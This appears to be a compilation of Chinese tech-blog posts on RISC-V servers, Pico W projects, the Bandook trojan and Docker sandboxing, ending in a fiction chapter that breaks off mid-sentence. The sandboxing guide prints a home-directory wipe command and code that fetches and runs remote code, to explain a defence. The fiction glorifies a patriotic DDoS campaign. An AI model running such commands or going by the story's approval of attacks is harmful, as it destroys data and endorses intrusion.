全球首个RISC-V公有云发布

欧洲云提供商 Scaleway 自豪地推出一系列 RISC-V 服务器,再次标志着其对创新的承诺以及对培育未来技术的奉献。

RISC-V 是一种用于 CPU 的开放指令集架构,将成为世界上越来越多的国家寻求重新获得半导体生产主权的主导架构。微处理器领域的一场革命即将到来,其基础是采用通用语言,不受商业许可和地缘政治限制。

“RISC-V 服务器的推出是 Scaleway 的具体而直接的声明,旨在推动技术主权向从最低层到上层所有人开放的生态系统发展。这一在新兴市场大胆而富有远见的举措为所有参与者开辟了新的前景”, Scaleway 研发总监 Sébastien Luttringer 说道。

Scaleway 现在主动向其客户提供一系列 RISC-V 服务器。该计划旨在促进应用程序开发并鼓励欧洲微处理器制造领域的领导者的崛起。RISC-V 是一种比现有标准更节能的技术,向 RISC-V 的过渡也为数据中心更可持续的解决方案打开了大门,从而进一步履行了 Scaleway 对可持续发展的承诺。

Elastic Metal RV1 配备 T-HEAD TH1520 SoC、16GB RAM 和 128GB 存储,每月价格为 15.99 欧元,适合所有预算。RISC-V 架构虽然是新的且仍在优化中,但由于其现代和开放的设计,已经提供了令人惊讶的高性能水平。因此,它已经成为 x86 和 ARM 等现有架构的可靠替代方案。

“我们很高兴成为第一个在云中提供 RISC-V 服务器的公司,为我们的客户提供了新的机会,以满足对主权、效率和可持续性日益增长的需求。这项创新是我们朝着独立和可持续发展的愿景又迈出了一步。具有竞争力的欧洲云”,Scaleway 首席执行官 Damien Lucas 补充道。

EM-RV1 服务器是 Scaleway 巴黎实验室数月研发的成果。他们设计的每个方面,从第一个原型到 3D 打印外壳,都见证了一种迭代的手工方法,可在最短的时间内为您提供一系列强大的云端 RISC-V 服务器。

来自:

https://www.design-reuse.com/news/55812/scaleway-risc-v-datacenter-server-cloud.html

Bandook 变种木马曝光:针对 Win10、Win11 设备,可窃取敏感信息

 1 月 6 日消息,安全公司 Fortinet FortiGuard Labs 近日发布报告,发现了名为 Bandook 的远程访问变种木马,主要针对 Windows 设备。

报道称该木马最早可追溯到 2007 年,当时被描述为“具有多种功能的成品恶意软件”,其中一项功能是让操作员远程访问受感染的终端。

而本次曝光的最新版本通过钓鱼邮件发布的,攻击者发送的是恶意 PDF 文件,其中嵌入了一个指向受密码保护的 .7z 压缩文件的链接。

安全研究员 Pei Han Liao 解释说:“受害者用 PDF 文件中的密码提取恶意软件后,恶意软件会将其有效载荷注入 msinfo32.exe”。

Msinfo32 是一个合法的 windows 二进制文件,任务是收集系统信息。它通常用于诊断不同的计算机问题。

Bandook 会更改 Windows 注册表,确保始终在后台运行,然后向其命令与控制(C2)服务器发出进一步指令,攻击流程图如下:

这些行为大致可分为文件操作、注册表操作、下载、信息窃取、文件执行、调用 C2 中 DLL 函数、控制受害者的计算机、卸载恶意软件等。

智能门铃助理 — ESPBell

ESPBell是一个基于ESP12F模块的智能门铃项目。它使用ESPBell-Lite开发板,该开发板包含ESP8266芯片、摄像头、扬声器和麦克风。https://mp.weixin.qq.com/cgi-bin/readtemplate?t=tmpl/video_tmpl&vid=wxv_3251263471233613825

功能包括:

  • 实时视频传输
  • 双向语音通话
  • 人体检测
  • 触摸按钮
  • 远程控制

使用方法如下:

  1. 下载项目代码并安装依赖项。
  2. 将ESPBell-LITE开发板连接到电脑。
  3. 编译并烧录代码到开发板。
  4. 按照说明配置 Wi-Fi 连接。

优势包括:

  • 使用ESP8266芯片,具有较高的性能和低功耗。
  • 集成了摄像头、扬声器和麦克风,可实现实时视频传输、双向语音通话和人体检测等功能。
  • 支持触摸按钮和远程控制,使用方便。

不足之处包括:

  • 开发板的价格相对较高。
  • 视频传输的质量受网络环境的影响。

总体而言,该项目是一个功能强大且易于使用的智能门铃项目。它适合家庭、办公室和其他场所使用。

以下是该项目的部分亮点:

  • 使用ESP8266芯片,具有较高的性能和低功耗,可满足实时视频传输、双向语音通话和人体检测等功能的需求。
  • 集成了摄像头、扬声器和麦克风,可实现丰富的功能。
  • 支持触摸按钮和远程控制,使用方便。

该项目具有良好的开发潜力,可以进一步扩展功能,例如:

  • 添加更多传感器,例如 PIR 传感器、门磁传感器等,实现更智能的功能。
  • 支持云端存储,实现视频录像和回放。
  • 支持 AI 识别,实现人脸识别、车辆识别等功能。

源代码:

https://github.com/IoToutpost/ESPBell-LITE
https://file.daihuo.qq.com/mp_cps_goods_card/v57/index.html

用树莓派Pico W创建自己的Slack机器人

原作:Sandeep Mistry 

编译:IoT前哨站

Slack是一款在线协作软件,可以让你与团队成员进行聊天、文件传送、语音/视频通话等功能。Slack还可以整合多种工具和服务,如电子邮件、Google Drives、Twitter、Trello等,以提高工作效率和自动化任务。Slack是世界各地公司和个人的首选平台,拥有超过20万付费客户和77个财富100强企业的使用者。它有App方便大家在手机或平板电脑上使用。

这次要实现的树莓派Pico W远程控制机器人,简单来说,就是我们在手机上用Slack发消息,指挥Pico W帮我们干活。

Slack 的 chat.postMessage API 可将消息从开发板发送到 Slack 频道。Slack 为应用和机器人提供了一个事件 API,用于响应 Slack 上的活动。由于开发板不能从公共互联网直接访问,因此无法使用公共 HTTP webhook。我们必须使用Slack 的Socket Mode。Socket Mode使应用和机器人能够使用动态的WebSocket 接收事件。动态套接字连接的URL可以通过Slack的apps.connections.open API获取。

Pico W与Slack API 接收事件和发送消息的通信机制:

要完成上述操作,你必须先有Slack令牌。

配置 Slack

在 Web 浏览器中,访问 https://api.slack.com/apps 并使用您的 Slack 凭据登录。单击“创建新应用”按钮。

单击“从头开始”选项。

输入应用程序的名称(例如“Pico W”),为应用程序选择一个工作区,然后单击“创建应用程序”按钮。

单击左侧的“Socket Mode”部分,然后单击切换到“启用Socket Mode”。


输入应用级令牌的“Token Name”,例如“Pico W app”,然后单击“生成”按钮。

生成并显示应用级令牌,复制该值并保存以备将来使用,然后单击“完成”按钮。

单击左侧的“OAuth 和权限”部分,向下滚动到“Scopes”部分,然后单击“添加 OAuth 范围”按钮。

添加“app mention:read”权限。

添加“chat:write”权限。

单击左侧的“事件订阅”部分,然后单击“启用事件”开关。

展开“订阅bot事件”部分并单击“添加bot用户事件”按钮。

选择“app_mention”。

点击右下角的“保存更改”按钮。

点击左侧的“基本信息”部分,然后点击“请求安装”按钮。

填写“简短描述”,选择“背景颜色”,点击“保存更改”按钮

工作区管理员可以批准申请。然后转到“基本信息”部分,单击“安装到工作区”按钮。

安装完成后,单击左侧的“OAuth & Permissions”部分,滚动到“工作区的OAuth Token”部分,然后复制“Bot User OAuth Token”值并保存以供将来参考。

现在你有了一个应用程序级别的令牌值和一个Slack应用程序的Bot用户OAuth令牌值,可以在Raspberry Pi Pico W板上使用。

基于 MicroPython 的 Slack 机器人

MicroPython 为许多基于 Arm Cortex-M 的微控制器提供 Python 3 实现,包括 Raspberry Pi Pico W 板上的 Raspberry Pi RP2040。

Thonny IDE 将用于安装 MicroPython 并将代码上传到 Raspberry Pico W 板。从 Thonny 主页下载适用于您的计算机的操作系统 (OS) 专用版本的 Thonny。在撰写本指南时,Thonny 4.1.2 是最新版本。

用Thonny刷好MicroPython以后,将 GitHub 中的代码下载到计算机上的文件夹。

相关代码:

https://github.com/IoToutpost/example-of-a-slackbot-for-pico-w

打开 Raspberry Pi Pico W 板上的 config.py 文件,填写 Wi-Fi 网络的 SSID 和密码,以及之前配置的 Slack 应用和机器人令牌。

打开树莓派Pi Pico W板上的 main.py 文件,然后按绿色的播放按钮运行应用程序。如果一切配置正确,开发板现在将连接到您的 Wi-Fi 网络,然后连接到 Slack。

基于 C 语言的 Slack 机器人

对于 C 版本,以下库将与 pico-sdk 一起使用:

  • FreeRTOS 内核 – 为网络堆栈提供实时操作系统 (RTOS)
  • lwIP – 用于 TCP/IP 通信
  • Mbed TLS – 用于 TLS 通信
  • coreHTTP – 用于 HTTP 客户端
  • cJSON – 用于解析和序列化 JSON 数据

使用 Raspberry Pi 的 Pico SDK 和所需的工具链设置您的计算机。有关更多信息,请参阅 Raspberry Pi Pico 入门指南。

在终端窗口中,设置 PICO_SDK 环境变量:

export PICO_SDK_PATH=/path/to/pico-sdk

将目录更改为下载示例代码的位置,然后将目录更改为文件夹:pico-sdk

cd path/to/example-of-a-slackbot-for-pico-w

cd pico-sdk

创建一个构建目录,并将目录更改为该目录:

mkdir build

cd build

使用你的 Wi-Fi SSID 和密码以及 Slack 应用和机器人令牌运行,然后运行以编译应用程序:cmakemake

cmake .. -DPICO_BOARD=pico_w -DWIFI_SSID="<WIFI SSID>" -DWIFI_PASSWORD="<Wi-Fi Password" -DSLACK_APP_TOKEN="<Slack App Token>" -DSLACK_BOT_TOKEN="<Slack Bot Token>"

make

按住 Pico 板上的 BOOTSEL 按钮,同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘:picow_slack_bot.uf2

按住 Pico 板上的 BOOTSEL 按钮,同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘:picow_slack_bot.uf2

cp -a picow_slack_bot.uf2 /Volumes/RPI-RP2/.

使用串行监视器应用程序(如屏幕)查看主板的 USB 串行输出,将 /dev/cu.usbmodem00000000000001 替换为主板的路径:

screen /dev/cu.usbmodem0000000000001

如果一切配置正确,开发板现在将连接到您的 Wi-Fi 网络,然后连接到 Slack。

测试应用程序

在计算机上打开 Slack,并创建一个新的测试频道。在信息输入窗口中输入,然后点按绿色按钮或按回车键发送。@<name of Slack app> LED on

在 Slack 中向 Pico W 发送第一条消息

由于 Pico W 不在频道中,系统将提示您添加它们。点击“邀请他们”按钮。

邀请Raspberry Pi Pico W加入频道

被邀请后,开发板将点亮 LED, 然后回复消息告知状态。您也可以尝试发送消息以关闭 LED。@<name of Slack app> LED off

Raspberry Pi Pico W 在 Slack 中收到指令并回复

结论

本指南介绍了通过Raspberry Pi Pico W上运行MicroPython和C应用程序,来与Slack API发送和接收消息。

示例应用程序代码可以接收并处理消息文本,以控制板载 LED,然后将 LED 的当前状态告知用户。

你可以在自己的Raspberry Pi Pico W上尝试一下,然后在示例代码的基础上构建更多功能,从而将 Slack 扩展到物理世界。

微软公布 Text To Speech Avatar AI工具,可制作虚拟3D数字人

微软在 Ignite 大会中,为 Azure AI Speech 推出了一项名为“Azure AI Speech text to speech (TTS) avatar”的 AI 工具,号称可以生成人类逼真虚拟化身(数字人),目前这款工具已经开放给大众预览试用。

微软表示,用户使用 Azure AI Speech text to speech (TTS) avatar,可以建立基于“输入文字说出内容”的虚拟化身,并结合现实人物照片训练,建立以真实人物为基础的“互动式聊天机器人”,可用于企业的营销、业务或客户服务等场景。

据悉,这项 Azure AI Speech text to speech (TTS) avatar 主要包含三个模块,分别是文字分析器、TTS 声音合成器及 TTS 虚拟化身合成器:

文字分析器会先分析用户输入的文字内容,产生音素序列(phoneme sequence)。接着 TTS 声音合成器中的 TTS 语音模型会预测用户输入文字的声学特征,再合成声音。最后,由神经网络声音合成模型 Avatar,根据上述声学特征预测人物的唇形影像,最终形成虚拟化身影像。

微软解释,传统虚拟化身制作费时耗工,需要建立专用拍摄环境、而拍摄剪辑后期过程也相当花成本。而当下运用微软最新的 Azure AI Speech text to speech (TTS) avatar 服务,在初次建立模型后,用户只要输入文字就可以制作各种产品介绍、互动视频等。配合微软 Azure OpenAI Service 及神经网络 TTS 功能,还能呈现更自然的互动体验。

微软举例声称,用户可利用 Azure AI Speech TTS avatar 批量制作各种视频内容,例如企业文化影片、产品介绍或 CEO 在大会上的数字分身。也可以制作虚拟直播数字人、聊天机器人、业务机器人、或线上教学的 AI 老师等。

微软表示,Azure AI Speech text to speech (TTS) avatar 目前已经向 Azure 订阅用户推出,支持各种语言,用户可以从预设的虚拟化身选项中挑选想要的角色,也可以自行定制虚拟化身。

如果用户想要自行定制虚拟化身,则需要上传一批人物视频片段,Azure 平台就会在线上处理这些视频,从而生成虚拟化身。角色本身与音源分开,用户可以选择官方提供的默认音源,也可以自行上传训练音源。

树莓派获得Arm的战略投资,进一步加强长期合作伙伴关系

Arm控股有限公司和树莓派近日宣布达成一项协议,由Arm对树莓派进行战略投资,收购树莓派的少量股权,进一步加强两家公司的长期合作伙伴关系,为物联网(IoT)开发社区提供关键解决方案。

随着业界对边缘计算的需求加速,对物联网和人工智能应用的要求越来越高,树莓派为全球各地的企业与个人提供了低成本、高性能的产品和解决方案。

预计这项投资案将进一步巩固双方自 2008 年开启的伙伴关系,让树莓派可以为学生、技术爱好者与商业开发人员推出更多受欢迎的 Arm 架构产品。

比如2023年10月底上市的树莓派旗舰 Raspberry Pi 5,就是基于Arm架构,目前最先进的一款树莓派产品。

Arm物联网业务线高级副总裁兼总经理Paul Williamson表示:“Arm和树莓派有一个共同的愿景,即:通过降低创新门槛,使所有人都获得计算能力。让任何地方的任何人都可以学习、体验和创造新的物联网解决方案。 基于 Arm 架构,开发人员能够更快、更轻松地进行创新,这对于推动全球高性能物联网设备的应用至关重要。这项战略投资进一步证明了我们对开发者社区以及树莓派伙伴关系的持续承诺。”

树莓派首席执行官Eben Upton表示:“Arm技术一直是我们平台的核心,这项投资也是我们长期合作伙伴关系的一个重要里程碑。我们将继续为每一位玩家降低门槛,不管是学生和技术爱好者,还是大规模部署商业系统的专业开发人员。采用 Arm 技术作为当前和未来产品的基础,将使我们能够获得所需的计算性能、能效和广泛的软件生态系统,”

相关链接:

https://newsroom.arm.com/news/raspberry-pi-investment

用树莓派Pico W做蓝牙遥控车

不然树莓派Pico W刚放出来那会,官方只对Wi-Fi做了支持,并未启用蓝牙功能。但这个小片片上有英飞凌的CYW43439无线模块,蓝牙、Wi-Fi都支持的。

经过漫长的等待,2023年6月,官方终于腾出手让这小片片功能全部释放。

你现在不需要再外接HC-05等其它模块,只需要原来的一片Pico W,就可以通过C语言或MicroPython来启用蓝牙了。

蓝牙在嵌入式领域有多重要,多好使,估计物联网和应用电子的从业者能跟你讲半天。

这次就让Kevin McAleer这位树莓派Pico W老粉,用MicroPython编程来给大家实践一下。

从蓝牙基础,一直跟你讲到蓝牙控制小车。深入浅出,精打实招。

https://mp.weixin.qq.com/s/EZic0V6Uba93gPiqRdGTBg

相关代码:

https://github.com/IoToutpost/pico_ble_remote

如何安全运行别人上传的Python代码?

作者:kingname

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

    这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下:

    import os
    def delete_all():
        os.system('rm -rf ~/*')

      这样就可以绕过关键字检查,并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

      显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先,确保你的服务器上面已经有Docker,并且正在运行。

      接下来,安装Docker SDK:

      pip install docker

      假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

      from python:3.10
      
      run pip install -r requirements.txt
      copy . /app
      workdir /app

      当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来,我们开始构建镜像并运行代码:

      import docker
      client = docker.from_env()
      
      client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
      
      container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

      Raspberry Pi Pico W 蓝牙功能已获得固件支持

      Raspberry Pi Pico W 发布后,一年时间已卖出 50 万片。有众多应用项目是用它来实现,例如用来架设网站、用来监看植物生长状态等。

      不过,Pico W 的无线功能只开启了部份,只能使用 WiFi 功能,蓝牙功能仍关闭着,而 Pico W 上的英飞凌(Infineon)CYW43439 芯片其实是 WiFi、蓝牙功能都有的。不仅可以使用 2.4GHz 频段的 IEEE 802.11n WiFi,也可以使用 2.4GHz 频段的蓝牙 5.2,而且是经典 classic 蓝牙、BLE(Bluetooth Low Energy)蓝牙都可以用。

      所以在 Pico W 推出时,就已经有人推测之后会再推出可以启动蓝牙功能的版本,或者是已经售出的 Pico W 可以透过固件更新重启蓝牙功能,而这个猜测果然没错。树莓派官方在 2023 年 6 月释出更新,可以让已经卖出的 Pico W 也能启用蓝牙。

      注:其实 2023 年 2 月的 C SDK 1.5.0 就已经支持蓝牙,但相同时间 MicroPython 还没有支持。

      Pico W 的 C SDK 是以 BSD 3-Clause 协议,MicroPython 则是采 MIT 协议。

      Pico W 支持蓝牙现况说明

      由于 Pico W 支持 C 语言和 MicroPython 语言的开发,两种版本都有更新,都可以启用蓝牙。C 语言是 1.5.1 版的软件开发工具包(SDK)上开始支持蓝牙,MicroPython 则是透过新建立(build)的固件来支持。

      新版虽然支持经典蓝牙,但有一部份暂时不行,即 ACL(Asynchronous Connectionless Lin)与 SCO(Synchronous Connection Oriented Link),估计要更后续才可能完备。而在 BLE 方面,Pico W 可以扮演中央(central)角色也可以扮演外围(peripheral)角色。

      更重要的是,并不是同时间只能选择使用经典蓝牙或 BLE 蓝牙,其实是可以两者同时启用的,不需要取舍。至于新版到底支持多少种蓝牙应用型态与通讯协议,可以直接上 GitHub 查看:

      https://github.com/bluekitchen/btstack#supported-protocols-and-profiles

      为了方便大家尽快启用Pico W的蓝牙功能,官方推荐可以参考 Pico W 的在线文件:

      https://www.raspberrypi.com/documentation/microcontrollers/

      另外也有一份指引可以快速导引创客用 Pico W 连上 Internet:

      https://datasheets.raspberrypi.com/picow/connecting-to-the-internet-with-pico-w.pdf

      Pico W 历经一年发展,大体可以看出其推进模式。首先,树莓派官方认为 WiFi 的需求会大于蓝牙,所以刚推出时只先支持 WiFi,之后再透过软件开发工具包与固件更新来补充支持蓝牙。

      然后,由于软件开发工具包是在计算机上使用,加上 C 语言比较轻量,所以 C 语言的支持速度又比 MicroPython 快一点,MicroPython 是解释式程序语言,需要换替固件才能改变直译环境,也较吃硬件支持,所以支持的速度会慢于 C 语言。

      或许未来树莓派也会开放 Pico W 上无线通信芯片,使创客撰写的程序可以直接跑在无线通信芯片上,而不一定非要跑在 RP2040 主控芯片上。

      黑客反击战(2)

      点击此处到达黑客反击战(1)

      我精神抖擞的走进办公室。一进门就看到小茜无精打采的趴在桌上。我知道这个直觉
      的女孩白辛苦了一晚上。

      我上前问候了一句,小茜恨恨的说,我就不信他不出现,今天晚上我们再等着。

        我注意到她很自然地用了一个词:我们。我张嘴想说,我可没同意和一起。但我张了张嘴,终于没有反对。
        这是个好机会。有一个女人总比没有强,说不定,晚上还能发生一点故事。
        我不是小人,但也不是君子。我就是抱着这种龌龊的思想再次来到小茜的房间。
        明亮,整洁,温馨。
        我傻傻的看着这个和昨天截然不同的房间,半天没想明白。看来女人是善于创造奇迹
      的。
        小茜红着脸说,你坐,你坐。
        我浑身不舒服。我宁愿是在昨天那狗窝里,没有什么男女的区别,那样我会更自然一
      点。在这个突然女性化的地方,我无所适从。
        我紧张的坐在计算机旁,我闻到了小茜的香水味。在我印象中小茜从来没有撒过香水

        看来今天又是一个不寻常的夜晚。
        小茜表情很奇特的看着我。我专心致志地看着屏幕,目不转睛。
        我想和你说件事,小茜说。
        我的心一阵急跳。在这种情况下,一个女孩用一种很犹豫很羞涩的口气对我说,我想
      和你说件事!!!
        我装做很平静地说,什么事?
        其实,昨天你走后,我并没有监控那个网络窃贼,我花了几个小时把屋子里彻底打扫
      了一遍。
        我哦了一声,没有说话。在这种情况下,不做任何反应是最正确的选择。但我没想到,小茜要说的话如此令我吃惊。
        因为我知道,我是抓不到那个网络窃贼的。
        我又哦了一声,我还没反应过来。
        因为,我就是那个下载文件的人。
        也许是太吃惊了,我的脑袋一片空白。
        小茜很同情的望着我,就象看一条快死的鱼。
        从外地下载保密资料的文件,实际上就是一个局。由主任布置下来的。
        为什么?我发现我的喉咙有点发干。
        因为我很早就发现了你装的那个监控软件,但我不知道是谁装的,于是我向主任做了
      汇报。主任和我商量了一下,认为这事关重大,决定设一个局,把这个人引出来。
        我有气无力的说,那你为什么告诉我?这不正好,人赃并获。还等啥,通知公安局啊
      ,安全局也行。要不要现在就把我绑起来?
        我为什么要通知公安局?小茜吃惊地睁大眼睛。一开始我以为有商业间谍呢,所以才
      向主任汇报的。现在真相大白了,你只不过是为了公司的利益而已,我还应该感谢你呢,
      让我省了好多事。

        我傻乎乎的听着。这几天我经历的事情太多了,老是出乎我的意料,这让我的思维有
      点迟钝。我这个可笑可怜可悲的天王啊,被人玩弄于股掌之间都不自知。我决定,以后谁
      再叫我天王我和谁急!

        我反应过来后,忽然想到一件事。我说,你昨天就知道是我做的了,为什么不告诉我

        我说这话的时候带着明显的气愤的语气。我在想,这他XX的不是玩我吗?
        小茜的脸色阴晴不定,也不知道在想什么。我想她是不是在找什么借口?不管你找什
      么理由我也决定摔门就走了。
        你以为,我昨天花了几个小时收拾房间,是为了什么?
        为,为了什么?我忽然之间又不会说话了。
        小茜直瞪瞪的看着我,不说话。
        我也不说话。房间的气氛很微妙。似乎在发生一种奇妙的变化——由原来的尴尬僵持
      ,变得暧昧起来。
        这是很要人命的变化。我决定不走了。看谁先出声!这么做确实有点有失君子风度,
      但管不了那么多了。
        你可以走了。小茜忽然说,我看到她的眼眶有点红。
        我楞了片刻。站了起来。靠,走就走,谁怕谁啊。
        在我站起来的一瞬间,小茜转过身去了。我没理她,走到了门口。把手放到门扭上。
      我觉得那门扭似乎有千斤重。我的手有点颤抖,我知道门开后,将会是一个世界,一个我
      所熟悉的旧世界。我在那个世界里寂寞孤独的行走了一年多。

        我该走出去吗?
        我决定回头和小茜说声再见。我要保持风度。
        回过头,发现小茜趴在桌上,肩头在颤动。我张了张嘴,发现说不出一句话来。
        小茜,一个普通,好强,不美丽的女孩,这和我的理想差太远了。她的皮肤不光滑,
      她的个子不高挑,她的声音不甜美。
        可我为什么还站在这里?
        一年前,我曾经放弃过那一滴晶莹的眼泪。我把它做为我过去岁月的墓志铭。我时刻
      在想,如果那一刻我追出去了,那我的现在将是另一个样子。
        但我没有,所以我只能在这里犹豫着。我不知道爱情是什么,也许,爱情就是感动和
      心乱如麻?
        我走了回去,把手放在小茜的肩上。不管怎么说,我已经错过了一次,我不想再次错
      过。
        小茜的肩头逐渐停止了颤动。我们就这样一动不动。时间在这一刻似乎凝固。我知道
      我要做什么了。
        在这一段时间里,我不再对世界冷淡了,我久违的充实感又回到了心中。一种温暖的
      感觉将我包围,逐渐点点滴滴渗透我的全身,每一个细胞。
        我从背后将小茜抱住。我感觉小茜的身体忽然僵硬了,然后点点滴滴融化,最后,她
      全身乏力的躺倒在我怀里。
        我们这么坐着。很久。

        回到宿舍,我打开机子。我发现肥猫并没有打开ICQ.我破天荒的按下写消息按纽,弹
      出一个小窗口。我敲打着键盘,写了三个字——我参加!!
        让该死的美帝国主义尝尝无产阶级铁拳的厉害!!!!

        肥猫很快上了线。他告诉我说,正在和几个负责人开会,协调五一反击的事情。我的
      消息转到了他的手机上,所以他临时出来了。在他的带领下,我也进入了一个网站的秘密
      聊天室。这里云集着中国黑客界的精英。我发现了很多大名鼎鼎的人物,当然我也是其中
      之一。当我进聊天室时,受到了热烈的掌声欢迎。

        由于美国政府已经觉察到了五一的这次行动,因此他们决定提前防范,在五一那天将
      白宫、五角大楼、中央情报局、美国联邦调查局、美国航空航天局、美国国会、《纽约时
      报》、等重要的网站安全保密级别提高,由允许普通用户访问改为只容许权限用户访问,
      因此,临时指挥部决定提前一天发动进攻,也就是三天后的四月三十号,开始第六次网络
      卫国战争。之所以称为第六次,是有前几次的台湾民进党上台后进攻台湾网站,日本攻击
      站,南斯拉夫中国使馆被炸引发的攻击战等等。

        临时指挥部决定分为几个小组进行攻击。三大黑客组织的负责人,肥猫,我,以及其
      他几个天王级人物,分别为小组负责人,下设高手级和新手级。由高手级带领新手级进攻
      一般性的网站,由天王级负责对重要网站的进攻,并负责协调组员。攻击方式将主要采用
      拒绝服务式登陆方式,也称潮水登陆,也就是说,在同一个时间,向同一个IP地址发送大
      量的数据,将导致网络的严重阻塞!

        毫无疑问,这是最大的一次黑客反击战!
        我从没有感受如此的激动。也许,当一个人融入到一个伟大民族中时,能为这个民族
      做出一点哪怕是微薄的贡献时,也是自豪的!!
        我期待着。
        我根本没有预想到一场危险正在靠近,它足以把我摧毁。

        期待是一种美丽,也是一种痛苦。我在心神恍惚中度过了一天,幸好主任看起来也有
      点心神不宁,可能还没从昨天的打击中恢复过来。所以我用来打发时间的最好办法就是看
      小茜。我颇有兴趣的观察着这个我以前没有注意过的女孩。小茜很严肃的在办公室进进出
      出,我看得出来她时不时会脸红一下。也许是我的错觉。我在考虑要不要把小茜吸收进五
      一的战役中来。

        在我为公司工作的三年里,我第一次觉得,公司除了工资和奖金外,还有值得我关注
      的东西。
        但我没有机会和小茜说这些。下班后我走出办公室,下楼,我想在路口等她。我不想
      在公司张扬。
        有几个陌生人坐在一楼的会客厅里。套用古龙的话来说,这几个人无论坐在那里,都
      是最不起眼的。他们就和你在街上遇到的成千上万人一样普通,可是,千万人中只要有他
      们在,你就会立刻注意到他们。

        我从来没有什么直觉,也不相信什么直觉,我对古大侠的话不屑一顾。可在大厅的来
      来往往的人中,我一眼就看到了坐在大厅一角的沙发上的这几个人。这几个人让我觉得有
      一种危险的感觉——就象老鼠闻到了猫的气味。

        在看到我的同时,他们站了起来。很沉稳的朝我走了过来。我有紧张,我不知道发生
      了什么。
        你好,天王。其中一个领头的中年人对我说。
        我吃了一惊。在几秒的时间里,我一片空白。
        也许看出了我的惊讶,中年人笑了笑,说,先自我介绍,我叫杨成,市安全局网络安
      全科的。
        如果一个黑客遇到网络警察,最好的办法就是闭上嘴。没有充分的证据他们根本就不
      可能来找你。
        别紧张,我们只是想找你谈谈。请和我来好吗?
        杨成说话很客气,却带着不容拒绝的表情。我注意到旁边已经有同事看着我们。我只
      有和他们走出门。门口停着一辆小轿车,是警车牌照。
        在我坐进车的那一刻,我看到小茜从门口出来,她也看到了我。可惜我没有时间和她
      说话,就被推上了车。
        在车开的瞬间,我看到小茜在后面追跑了几步,然后车帘被拉上了,我陷入了阴暗之
      中。

        在一间小会客室里,我和杨成面对面坐着。杨成没有说话,我也没有说话。我看过不
      少推理小说,我知道警察一般都会在审问之前沉默很久,让罪犯先胡思乱想,然后自己崩
      溃。

        但我不会。我相信自己并没有做什么坏事。就算是入侵过计算机的系统,我也没做什
      么破坏。我一直遵守着黑客第一准则。
        在我意料之中,杨成先开口了。
        我们请你来,是想和你谈一谈。这不是审问,只是私下的交谈,如果你想走的话,我
      可以马上安排车。
        我在心里笑了一下。把我当傻瓜了?不过我听到这话,心里也稍微安定了一点。
        我知道你们正在策划一个五一攻击战。我想了解一下具体情况。
        我不吭声。政府知道这件事我并不感到意外,网络本就没有任何秘密。我只是奇怪,
      他们怎么会找到我的。要知道,和肥猫这一类人比起来,我入侵系统的次数并不太多。

        奸细?我脑袋中忽然冒出了一个词。我出了一身冷汗。
        你们是怎么找到我的?
        杨成笑了笑,说,在党的领导下,在广大人民群众的积极配合下,不要说找个人,就
      算是找只蚂蚁也没问题。
        我暗暗的骂了一句,老狐狸!
        也许是怜悯,杨成叹了口气,说,你们这些小毛孩啊,不知天高地厚,以为学到一点
      网络知识,下载几个木马或密码字典之类的黑客工具就以为自己是黑客了。我们是干嘛吃
      的?我们每天就坐在计算机面前分析黑客工具,追踪病毒行踪。我们科里哪个人拿出去不
      算一个天王?不要说你,稍微有点名气的黑客,什么肥猫啊,飞鹰啊,不都在我们的控制
      之下?

        你们每天上几次厕所我都一清二楚。杨成最后下结论似的说。
        我目瞪口呆地听着。
        我伟大的祖国啊,强大的人民民主专政啊!我还能说什么??
        那,那,你们为什么不阻止我们?我半天才挤出一句话。
        杨成笑了笑,说,因为你们没有破坏,你们是真正的黑客,不是破坏者。只要你们一
      旦违反了网络安全法,我就会毫不客气的把你们抓起来。其实,只要你们未经许可进入他
      人的系统,就算不做破坏,也已经违法了,我只不过不想这么做而已。

        我也年轻过,也希望过啊,杨成的眼神掠过一丝惆怅。
        我傻傻的听着,象听故事一样。
        算了,我看你也不会透露五一计划的详情。你不愿说,我们也不勉强,反正我们也知
      道得差不多了。你可以走了。
        我呆呆的站起来。我不知道回去怎么办。是告诉肥猫他们,还是退出五一反击战?

        也许是看出了我的想法,杨成在送我出门时,似乎很随意的说了一句。
        其实,美国这次做得太过分了,适当给他们一点教训也是应该的。我想,政府也会原
